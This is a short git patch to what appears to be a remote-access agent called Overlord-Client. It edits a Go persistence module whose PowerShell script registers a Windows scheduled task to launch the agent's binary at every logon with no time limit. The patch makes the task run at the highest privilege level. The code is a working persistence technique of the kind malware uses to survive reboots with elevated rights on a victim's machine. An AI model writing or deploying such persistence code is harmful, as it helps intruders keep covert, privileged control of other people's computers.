From f4c70ce824d8148f68bd26eca143d1f9afd34888 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Tue, 24 Mar 2026 21:14:58 -0500 Subject: [PATCH] fix task scheduler not running as admin --- .../cmd/agent/persistence/persistence_windows_taskscheduler.go | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/Overlord-Client/cmd/agent/persistence/persistence_windows_taskscheduler.go b/Overlord-Client/cmd/agent/persistence/persistence_windows_taskscheduler.go index 3bcc173..3fd65e6 100644 --- a/Overlord-Client/cmd/agent/persistence/persistence_windows_taskscheduler.go +++ b/Overlord-Client/cmd/agent/persistence/persistence_windows_taskscheduler.go @@ -20,7 +20,8 @@ func installTaskScheduler(targetPath string) error { `$a = New-ScheduledTaskAction -Execute '%s'; `+ `$t = New-ScheduledTaskTrigger -AtLogOn; `+ `$s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; `+ - `Register-ScheduledTask -TaskName '%s' -Action $a -Trigger $t -Settings $s -Force | Out-Null`, + `$p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; `+ + `Register-ScheduledTask -TaskName '%s' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null`, safe, taskName) return runPowerShell(script) }